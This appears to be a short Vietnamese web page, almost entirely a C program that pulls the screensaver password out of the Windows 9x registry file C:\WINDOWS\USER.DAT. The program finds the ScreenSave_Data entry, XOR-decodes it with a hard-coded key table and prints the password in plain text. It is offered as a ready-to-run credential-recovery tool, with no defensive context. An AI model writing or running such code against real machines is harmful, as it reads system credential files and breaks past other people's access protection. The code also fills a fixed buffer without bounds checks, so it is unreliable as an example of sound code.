HCE- lay pass cua Screensaver bang C

Lấy pass của ScreenSaver bằng C :

trang này đã được đọc lần

#include<stdio.h>
#include<conio.h>
#include<string.h>
#include<ctype.h>
#include<process.h>

void main()
{
FILE *stream;
char string[] = "creenSave_Data";
char msg[16],ch,pass[27];
int i=1,found=1,j,dec[]={4,8,14,14,7,6,1,13,6,7,6,9,10,1,1,11,7,10,8,12,4,7,15,8,5,4,9,5};
int pass1[27];

clrscr();

printf("***********This program is developed by ROHIT ARORA*********\n\n\n\n");

stream = fopen("C:\\WINDOWS\\USER.DAT", "rb");

if (stream==NULL)
{
printf("Cannot open the file");
getch();
exit(1);
}

while(found)
{
while ((getc(stream))!='S')
{};

fgets(msg, strlen(string)+1, stream);
i=strcmp(string,msg);
if (i==0) found=0;
}

while(!found)
{
ch=getc(stream);
if (!(isalpha(ch) || isdigit(ch)))
found=1;
else
{
pass[i]=ch;
i++;
}
}

for(j=0;j<i;j++)
{
if (isalpha(pass[j]))
pass1[j]=pass[j]-55;
else
pass1[j]=pass[j]-48;

pass1[j]=pass1[j]^dec[j];
}

printf(" Your Screen Saver Password is : ");

for (j=0;j<i;j+=2)
printf("%c",toascii(16*pass1[j]+pass1[j+1]));


fclose(stream);
getch();
}